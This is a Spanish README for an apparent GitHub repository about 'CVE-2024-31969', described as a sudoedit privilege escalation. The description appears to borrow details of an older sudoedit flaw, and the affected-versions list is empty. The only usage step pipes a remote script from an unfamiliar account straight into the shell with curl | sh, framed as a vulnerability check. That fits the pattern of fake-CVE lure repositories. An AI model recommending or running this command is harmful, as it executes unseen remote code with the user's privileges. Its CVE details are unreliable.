📌 CVE-2024-31969

CVE-2024-31969 es una vulnerabilidad de escalada de privilegios local en sudo al usar el comando sudoedit.

Esta vulnerabilidad se introdujo a partir de sudo 1.9.0 debido a la forma incorrecta en que sudoedit validaba las variables de entorno del usuario y la propiedad de los archivos.

📖 Descripción

Una falla introducida en sudo 1.9.0 en la forma en que sudoedit validaba las variables de entorno de los usuarios y la propiedad de los archivos.

Esta vulnerabilidad permite a un usuario local con acceso a sudoedit modificar archivos arbitrarios como root mediante la manipulación de variables de entorno como SUDO_EDITOR, o aprovechando symlinks.

📊 Versiones de Sudo afectadas:

📦 Instalación y Uso

Ejecute el siguiente comando:

curl -L https://raw.githubusercontent.com/kingfakee7/CVE-2024-31969/main/cve-2024-31969-check.sh | sh

🛠️ Solución / Mitigación

• Actualice sudo a la versión 1.9.15p5 o posterior.
• Limite las reglas sudoers que permiten sudoedit a usuarios no root.
• Utilice una configuración segura de env_keep o env_reset en el archivo /etc/sudoers.

📚 Referencias

• CVE-2024-31969 en NVD

⚠️ Descargo de responsabilidad

Este repositorio se creó con fines educativos y de documentación de seguridad de sistemas.
Está estrictamente prohibido utilizar esta información para actividades ilegales o sin el permiso por escrito del propietario del sistema.
Cualquier forma de uso indebido queda totalmente fuera de la responsabilidad del creador.